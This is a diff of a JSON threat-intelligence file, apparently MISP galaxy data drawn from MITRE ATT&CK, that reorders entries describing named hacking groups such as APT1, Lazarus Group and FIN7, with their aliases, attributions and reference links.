- "description": "Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries.[[Citation: Cylance Dust Storm]]",
"value": "Dust Storm"
},
{
+ "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver.[[Citation: Cylance Cleaver]] Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889).[[Citation: Dell Threat Group 2889]]",
"meta": {
- "synonyms": [
- "Cleaver",
- "Threat Group 2889",
- "TG-2889"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0003",
"http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf",
"http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/"
],
+ "synonyms": [
+ "Cleaver",
+ "Threat Group 2889",
+ "TG-2889"
+ ],
"uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063"
},
- "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver.[[Citation: Cylance Cleaver]] Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889).[[Citation: Dell Threat Group 2889]]",
"value": "Cleaver"
},
{
+ "description": "APT12 is a threat group that has been attributed to China.[[Citation: Meyers Numbered Panda]] It is also known as DynCalc, IXESHE, and Numbered Panda.[[Citation: Moran 2014]][[Citation: Meyers Numbered Panda]]",
"meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0005",
+ "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html",
+ "http://www.crowdstrike.com/blog/whois-numbered-panda/"
+ ],
"synonyms": [
"APT12",
"IXESHE",
"DynCalc",
"Numbered Panda"
],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0005",
- "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html",
- "http://www.crowdstrike.com/blog/whois-numbered-panda/"
- ],
"uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb"
},
- "description": "APT12 is a threat group that has been attributed to China.[[Citation: Meyers Numbered Panda]] It is also known as DynCalc, IXESHE, and Numbered Panda.[[Citation: Moran 2014]][[Citation: Meyers Numbered Panda]]",
"value": "APT12"
},
{
+ "description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. .[[Citation: Haq 2014]]",
"meta": {
- "synonyms": [
- "Moafee"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0002",
"https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html"
],
+ "synonyms": [
+ "Moafee"
+ ],
"uuid": "2e5d3a83-fe00-41a5-9b60-237efc84832f"
},
- "description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. .[[Citation: Haq 2014]]",
"value": "Moafee"
},
{
+ "description": "is a Chinese threat group that has extensively used strategic Web compromises to target victims.[[Citation: Dell TG-3390]] The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors.[[Citation: SecureWorks BRONZE UNION June 2017]]",
"meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0027",
+ "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
+ "https://www.secureworks.com/research/bronze-union"
+ ],
"synonyms": [
"Threat Group-3390",
"TG-3390",
"Emissary Panda",
"BRONZE UNION"
],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0027",
- "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
- "https://www.secureworks.com/research/bronze-union"
- ],
"uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c"
},
- "description": "is a Chinese threat group that has extensively used strategic Web compromises to target victims.[[Citation: Dell TG-3390]] The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors.[[Citation: SecureWorks BRONZE UNION June 2017]]",
"value": "Threat Group-3390"
},
{
+ "description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. [[Citation: Operation Quantum Entanglement]][[Citation: Symbiotic APT Groups]] It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. [[Citation: New DragonOK]]",
"meta": {
- "synonyms": [
- "DragonOK"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0017",
"http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf",
"https://dl.mandiant.com/EE/library/MIRcon2014/MIRcon%202014%20R&D%20Track%20Insight%20into%20Symbiotic%20APT.pdf"
],
+ "synonyms": [
+ "DragonOK"
+ ],
"uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a"
},
- "description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. [[Citation: Operation Quantum Entanglement]][[Citation: Symbiotic APT Groups]] It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. [[Citation: New DragonOK]]",
"value": "DragonOK"
},
{
+ "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398.[[Citation: Mandiant APT1]]",
"meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0006",
+ "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+ ],
"synonyms": [
"APT1",
"Comment Crew",
"Comment Group",
"Comment Panda"
],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0006",
- "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
- ],
"uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662"
},
- "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398.[[Citation: Mandiant APT1]]",
"value": "APT1"
},
{
+ "description": "Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government.[[Citation: TrendMicro Taidoor]]",
"meta": {
- "synonyms": [
- "Taidoor"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0015",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf"
],
+ "synonyms": [
+ "Taidoor"
+ ],
"uuid": "59140a2e-d117-4206-9b2c-2a8662bd9d46"
},
- "description": "Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government.[[Citation: TrendMicro Taidoor]]",
"value": "Taidoor"
},
{
+ "description": "Night Dragon is a threat group that has conducted activity originating primarily in China.[[Citation: McAfee Night Dragon]]",
"meta": {
- "synonyms": [
- "Night Dragon"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0014",
"http://www.mcafee.com/us/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf"
],
+ "synonyms": [
+ "Night Dragon"
+ ],
"uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8"
},
- "description": "Night Dragon is a threat group that has conducted activity originating primarily in China.[[Citation: McAfee Night Dragon]]",
"value": "Night Dragon"
},
{
+ "description": "Naikon is a threat group that has focused on targets around the South China Sea.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]",
"meta": {
- "synonyms": [
- "Naikon"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0019",
"http://cdn2.hubspot.net/hubfs/454298/Project%20CAMERASHY%20ThreatConnect%20Copyright%202015.pdf",
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf",
"https://securelist.com/analysis/publications/69953/the-naikon-apt/"
],
+ "synonyms": [
+ "Naikon"
+ ],
"uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050"
},
- "description": "Naikon is a threat group that has focused on targets around the South China Sea.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]",
"value": "Naikon"
},
{
+ "description": "Ke3chang is a threat group attributed to actors operating out of China.[[Citation: Villeneuve et al 2014]]",
"meta": {
- "synonyms": [
- "Ke3chang"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0004",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf"
],
+ "synonyms": [
+ "Ke3chang"
+ ],
"uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c"
},
- "description": "Ke3chang is a threat group attributed to actors operating out of China.[[Citation: Villeneuve et al 2014]]",
"value": "Ke3chang"
},
{
+ "description": "Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums.[[Citation: Cymmetria Patchwork]][[Citation: Symantec Patchwork]]",
"meta": {
- "synonyms": [
- "Patchwork",
- "Dropping Elephant",
- "Chinastrats"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0040",
"https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf",
"http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries"
],
+ "synonyms": [
+ "Patchwork",
+ "Dropping Elephant",
+ "Chinastrats"
+ ],
"uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0"
},
- "description": "Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums.[[Citation: Cymmetria Patchwork]][[Citation: Symantec Patchwork]]",
"value": "Patchwork"
},
{
+ "description": "APT30 is a threat group suspected to be associated with the Chinese government.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]",
"meta": {
- "synonyms": [
- "APT30"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0013",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
"https://securelist.com/analysis/publications/69953/the-naikon-apt/"
],
+ "synonyms": [
+ "APT30"
+ ],
"uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd"
},
- "description": "APT30 is a threat group suspected to be associated with the Chinese government.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]",
"value": "APT30"
},
{
+ "description": "MONSOON is the name of an espionage campaign that apparently started in December 2015 and was ongoing as of July 2016. It is believed that the actors behind MONSOON are the same actors behind Operation Hangover. While attribution is unclear, the campaign has targeted victims with military and political interests in the Indian Subcontinent.[[Citation: Forcepoint Monsoon]] Operation Hangover has been reported as being Indian in origin, and can be traced back to 2010.[[Citation: Operation Hangover May 2013]]",
"meta": {
- "synonyms": [
- "MONSOON",
- "Operation Hangover"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0042",
"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf",
"http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure.pdf"
],
+ "synonyms": [
+ "MONSOON",
+ "Operation Hangover"
+ ],
"uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772"
},
- "description": "MONSOON is the name of an espionage campaign that apparently started in December 2015 and was ongoing as of July 2016. It is believed that the actors behind MONSOON are the same actors behind Operation Hangover. While attribution is unclear, the campaign has targeted victims with military and political interests in the Indian Subcontinent.[[Citation: Forcepoint Monsoon]] Operation Hangover has been reported as being Indian in origin, and can be traced back to 2010.[[Citation: Operation Hangover May 2013]]",
"value": "MONSOON"
},
{
+ "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.[[Citation: FireEye APT17]]",
"meta": {
- "synonyms": [
- "APT17",
- "Deputy Dog"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0025",
"https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf"
],
+ "synonyms": [
+ "APT17",
+ "Deputy Dog"
+ ],
"uuid": "090242d7-73fc-4738-af68-20162f7a5aae"
},
- "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.[[Citation: FireEye APT17]]",
"value": "APT17"
},
{
+ "description": "FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately.[[Citation: FireEye FIN7 March 2017]][[Citation: FireEye FIN7 April 2017]]",
"meta": {
- "synonyms": [
- "FIN7"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0046",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
"https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html"
],
+ "synonyms": [
+ "FIN7"
+ ],
"uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc"
},
- "description": "FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately.[[Citation: FireEye FIN7 March 2017]][[Citation: FireEye FIN7 April 2017]]",
"value": "FIN7"
},
{
+ "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security.[[Citation: FireEye Clandestine Wolf]][[Citation: Recorded Future APT3 May 2017]] This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.[[Citation: FireEye Clandestine Wolf]][[Citation: FireEye Operation Double Tap]] As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.[[Citation: Symantec Buckeye]]",
"meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0022",
+ "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
+ "https://www.recordedfuture.com/chinese-mss-behind-apt3/",
+ "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html",
+ "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"
+ ],
"synonyms": [
"APT3",
"Gothic Panda",
@@ -476,98 +488,88 @@
"Threat Group-0110",
"TG-0110"
],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0022",
- "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
- "https://www.recordedfuture.com/chinese-mss-behind-apt3/",
- "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html",
- "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"
- ],
"uuid": "0bbdf25b-30ff-4894-a1cd-49260d0dd2d9"
},
- "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security.[[Citation: FireEye Clandestine Wolf]][[Citation: Recorded Future APT3 May 2017]] This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.[[Citation: FireEye Clandestine Wolf]][[Citation: FireEye Operation Double Tap]] As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.[[Citation: Symantec Buckeye]]",
"value": "APT3"
},
{
+ "description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.[[Citation: Securelist GCMAN]]",
"meta": {
- "synonyms": [
- "GCMAN"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0036",
"https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/"
],
+ "synonyms": [
+ "GCMAN"
+ ],
"uuid": "0ea72cd5-ca30-46ba-bc04-378f701c658f"
},
- "description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.[[Citation: Securelist GCMAN]]",
"value": "GCMAN"
},
{
+ "description": "Lazarus Group is a threat group that has been attributed to the North Korean government.Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.[[Citation: Novetta Blockbuster]]",
"meta": {
- "synonyms": [
- "Lazarus Group",
- "HIDDEN COBRA",
- "Guardians of Peace"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0032",
"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
"https://www.us-cert.gov/ncas/alerts/TA17-164A"
],
+ "synonyms": [
+ "Lazarus Group",
+ "HIDDEN COBRA",
+ "Guardians of Peace"
+ ],
"uuid": "c93fccb1-e8e8-42cf-ae33-2ad1d183913a"
},
- "description": "Lazarus Group is a threat group that has been attributed to the North Korean government.Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.[[Citation: Novetta Blockbuster]]",
"value": "Lazarus Group"
},
{
+ "description": "Lotus Blossom is threat group that has targeted government and military organizations in Southeast Asia.[[Citation: Lotus Blossom Jun 2015]] It is also known as Spring Dragon.[[Citation: Spring Dragon Jun 2015]]",
"meta": {
- "synonyms": [
- "Lotus Blossom",
- "Spring Dragon"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0030",
"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
"https://securelist.com/blog/research/70726/the-spring-dragon-apt/"
],
+ "synonyms": [
+ "Lotus Blossom",
+ "Spring Dragon"
+ ],
"uuid": "88b7dbc2-32d3-4e31-af2f-3fc24e1582d7"
},
- "description": "Lotus Blossom is threat group that has targeted government and military organizations in Southeast Asia.[[Citation: Lotus Blossom Jun 2015]] It is also known as Spring Dragon.[[Citation: Spring Dragon Jun 2015]]",
"value": "Lotus Blossom"
},
{
+ "description": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives.[[Citation: Kaspersky Equation QA]]",
"meta": {
- "synonyms": [
- "Equation"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0020",
"https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf"
],
+ "synonyms": [
+ "Equation"
+ ],
"uuid": "96e239be-ad99-49eb-b127-3007b8c1bec9"
},
- "description": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives.[[Citation: Kaspersky Equation QA]]",
"value": "Equation"
},
{
+ "description": "Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing.[[Citation: Kaspersky Darkhotel]]",
"meta": {
- "synonyms": [
- "Darkhotel"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0012",
"https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf"
],
+ "synonyms": [
+ "Darkhotel"
+ ],
"uuid": "9e729a7e-0dd6-4097-95bf-db8d64911383"
},
- "description": "Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing.[[Citation: Kaspersky Darkhotel]]",
"value": "Darkhotel"
},
{
+ "description": "OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern victims since at least 2015.[[Citation: Palo Alto OilRig April 2017]][[Citation: ClearSky OilRig Jan 2017]][[Citation: Palo Alto OilRig May 2016]][[Citation: Palo Alto OilRig Oct 2016]]",
"meta": {
- "synonyms": [
- "OilRig"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0049",
"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/",
@@ -575,138 +577,134 @@
"http://www.clearskysec.com/oilrig/",
"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
],
+ "synonyms": [
+ "OilRig"
+ ],
"uuid": "b96e02f1-4037-463f-b158-5a964352f8d9"
},
- "description": "OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern victims since at least 2015.[[Citation: Palo Alto OilRig April 2017]][[Citation: ClearSky OilRig Jan 2017]][[Citation: Palo Alto OilRig May 2016]][[Citation: Palo Alto OilRig Oct 2016]]",
"value": "OilRig"
},
{
+ "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems.[[Citation: Symantec Dragonfly]]",
"meta": {
- "synonyms": [
- "Dragonfly",
- "Energetic Bear"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0035",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
],
+ "synonyms": [
+ "Dragonfly",
+ "Energetic Bear"
+ ],
"uuid": "1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1"
},
- "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems.[[Citation: Symantec Dragonfly]]",
"value": "Dragonfly"
},
{
+ "description": "Suckfly is a China-based threat group that has been active since at least 2014.[[Citation: Symantec Suckfly March 2016]]",
"meta": {
- "synonyms": [
- "Suckfly"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0039",
"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
],
+ "synonyms": [
+ "Suckfly"
+ ],
"uuid": "5cbe0d3b-6fb1-471f-b591-4b192915116d"
},
- "description": "Suckfly is a China-based threat group that has been active since at least 2014.[[Citation: Symantec Suckfly March 2016]]",
"value": "Suckfly"
},
{
+ "description": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed.[[Citation: Citizen Lab Stealth Falcon May 2016]]",
"meta": {
- "synonyms": [
- "Stealth Falcon"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0038",
"https://citizenlab.org/2016/05/stealth-falcon/"
],
+ "synonyms": [
+ "Stealth Falcon"
+ ],
"uuid": "894aab42-3371-47b1-8859-a4a074c804c8"
},
- "description": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed.[[Citation: Citizen Lab Stealth Falcon May 2016]]",
"value": "Stealth Falcon"
},
{
+ "description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.[[Citation: Scarlet Mimic Jan 2016]]",
"meta": {
- "synonyms": [
- "Scarlet Mimic"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0029",
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
],
+ "synonyms": [
+ "Scarlet Mimic"
+ ],
"uuid": "c5574ca0-d5a4-490a-b207-e4658e5fd1d7"
},
- "description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.[[Citation: Scarlet Mimic Jan 2016]]",
"value": "Scarlet Mimic"
},
{
+ "description": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure.[[Citation: Dell TG-1314]]",
"meta": {
- "synonyms": [
- "Threat Group-1314",
- "TG-1314"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0028",
"http://www.secureworks.com/resources/blog/living-off-the-land/"
],
+ "synonyms": [
+ "Threat Group-1314",
+ "TG-1314"
+ ],
"uuid": "d519164e-f5fa-4b8c-a1fb-cf0172ad0983"
},
- "description": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure.[[Citation: Dell TG-1314]]",
"value": "Threat Group-1314"
},
{
+ "description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies.[[Citation: Kaspersky Turla]]",
"meta": {
- "synonyms": [
- "Turla",
- "Waterbug"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0010",
"https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
],
+ "synonyms": [
+ "Turla",
+ "Waterbug"
+ ],
"uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6"
},
- "description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies.[[Citation: Kaspersky Turla]]",
"value": "Turla"
},
{
+ "description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008.[[Citation: F-Secure The Dukes]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee starting in the summer of 2015.[[Citation: Crowdstrike DNC June 2016]]",
"meta": {
- "synonyms": [
- "APT29",
- "The Dukes",
- "Cozy Bear"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0016",
"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
+ "synonyms": [
+ "APT29",
+ "The Dukes",
+ "Cozy Bear"
+ ],
"uuid": "899ce53f-13a0-479b-a0e4-67d46e241542"
},
- "description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008.[[Citation: F-Secure The Dukes]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee starting in the summer of 2015.[[Citation: Crowdstrike DNC June 2016]]",
"value": "APT29"
},
{
+ "description": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations.[[Citation: FireEye FIN10 June 2017]]",
"meta": {
- "synonyms": [
- "FIN10"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0051",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
],
+ "synonyms": [
+ "FIN10"
+ ],
"uuid": "6c74fda2-bb04-40bd-a166-8c2d4b952d33"
},
- "description": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations.[[Citation: FireEye FIN10 June 2017]]",
"value": "FIN10"
},
{
+ "description": "menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: Crowdstrike CrowdCast Oct 2013]][[Citation: FireEye Poison Ivy]][[Citation: PWC Cloud Hopper April 2017]][[Citation: FireEye APT10 April 2017]]",
"meta": {
- "synonyms": [
- "menuPass",
- "Stone Panda",
- "APT10",
- "Red Apollo",
- "CVNX"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0045",
"https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html",
@@ -715,33 +713,36 @@
"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"
],
+ "synonyms": [
+ "menuPass",
+ "Stone Panda",
+ "APT10",
+ "Red Apollo",
+ "CVNX"
+ ],
"uuid": "222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f"
},
- "description": "menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: Crowdstrike CrowdCast Oct 2013]][[Citation: FireEye Poison Ivy]][[Citation: PWC Cloud Hopper April 2017]][[Citation: FireEye APT10 April 2017]]",
"value": "menuPass"
},
{
+ "description": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD).[[Citation: CrowdStrike Putter Panda]]",
"meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0024",
+ "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
+ ],
"synonyms": [
"Putter Panda",
"APT2",
"MSUpdater"
],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0024",
- "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
- ],
"uuid": "5ce5392a-3a6c-4e07-9df3-9b6a9159ac45"
},
